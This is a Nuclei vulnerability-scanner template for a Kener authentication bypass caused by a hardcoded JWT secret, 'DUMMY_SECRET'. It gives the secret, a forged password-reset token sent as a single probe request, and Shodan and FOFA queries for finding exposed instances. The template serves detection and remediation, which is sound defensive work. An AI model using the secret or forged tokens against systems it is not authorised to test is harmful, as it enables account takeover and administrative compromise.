id: CVE-2026-116747

info:
  name: Kener - Authentication Bypass
  author: kosoyyagent
  severity: critical
  description: |
    Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".
  impact: |
    Unauthenticated attackers can gain full administrative privileges and forge password-reset tokens, compromising system security.
  remediation: |
    Update to version 4.1.10 or later.
  reference:
    - https://github.com/rajnandan1/kener/commit/ff636483544c926eab5b5e3e26b811c0f52bcaf8
    - https://github.com/rajnandan1/kener/issues/871
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2026-116747
    epss-score: 0.00623
    epss-percentile: 0.50207
    cwe-id: CWE-321
  metadata:
    max-request: 1
    vendor: rajnandan1
    product: kener
    shodan-query: title:"Kener"
    fofa-query: title="Kener"
  tags: cve,cve2026,kener,auth-bypass,jwt

http:
  - method: POST
    path:
      - "{{BaseURL}}/account/forgot/api/password-reset"
    headers:
      Content-Type: application/json
    body: '{"receivedToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im51Y2xlaS1wcm9iZS1ub25leGlzdGVudEBpbnZhbGlkLmludmFsaWQiLCJnZW5lcmF0ZWRBdCI6NDEwMjQ0NDgwMDAwMH0.MIKp32FOJN5duVN9qWDiJCa9HbQwt_---tM2YN93B1o","newPassword":"NucleiProbe123"}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "User does not exist"

      - type: status
        status:
          - 401
# digest: 4b0a00483046022100f47a63121429ea2c03f394c1674cb1a36ec2c423e37e84abfcc307f56f2bf2cf022100e458067a6e9e1203da2d6c462bdcb23dca9f549639661be51bdd02491f97f35a:922c64590222798bb761d5b6d8e72950